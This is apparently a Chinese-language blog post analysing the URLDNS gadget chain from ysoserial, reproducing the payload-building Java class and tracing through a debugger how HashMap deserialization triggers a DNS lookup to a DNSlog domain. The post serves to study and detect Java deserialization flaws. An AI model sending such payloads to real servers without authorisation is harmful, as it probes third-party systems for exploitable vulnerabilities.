[Java反序列化]URLDNS利用链分析

·
Java代码审计 no tag August 3, 2021

URLDNS

URLDNS 就是ysoserial中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不 是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。

虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时使⽤:

  • 使用Java内置的类构造,对第三方库没有依赖
  • 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

利用

image-20210803152356630

image-20210803152416079

IDEA运行参数设置为我们DNSlog解析网址

成功

image-20210803152441715

Gadget Chain

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

这是ysoserial中的URLDNS代码

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

来分析一下代码

public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

利用链分析

看到 URLDNS 类的 getObject ⽅法,ysoserial会调用这个方法获得Payload。这个方法返回的是⼀个对象,这个对象就是最后将被序列化的对象,在这⾥是 HashMap 。

image-20210803153503831

单步调试,最终在反序列化的地方会调用HashMap里的readObject方法。

首先在HashMap这里下断点

image-20210803155641455

进入HashMap的ReadObject函数

image-20210803160651242

然后进入hash函数

image-20210803161357965

key不为空所以进入hashCode方法

image-20210803161454951

因为之前设置了hashCode为-1,所以进入了URLStreamHandler的hashCode方法。

image-20210803161535696

且这里有getHostAddress方法,继续跟进

image-20210803161823280

image-20210803162027518

hostAddress = InetAddress.getByName(host);

这里的作用是根据主机名,获取其IP地址,在⽹络上其实就是⼀次 DNS查询。到这⾥就不必要再跟了。

至此,整个URLDNS的Gadget就跟完了。

1.HashMap->readObject()

2.HashMap->hash()

3.URL->hashCode()

4.URLStreamHandler->hashCode()

5.URLStreamHandler->getHostAddress()

6.InetAddress->getByName()

  • CISCN Web 复现
  • Java反射
取消回复

说点什么?

© 2023 Yang_99的小窝. Using Typecho & Moricolor.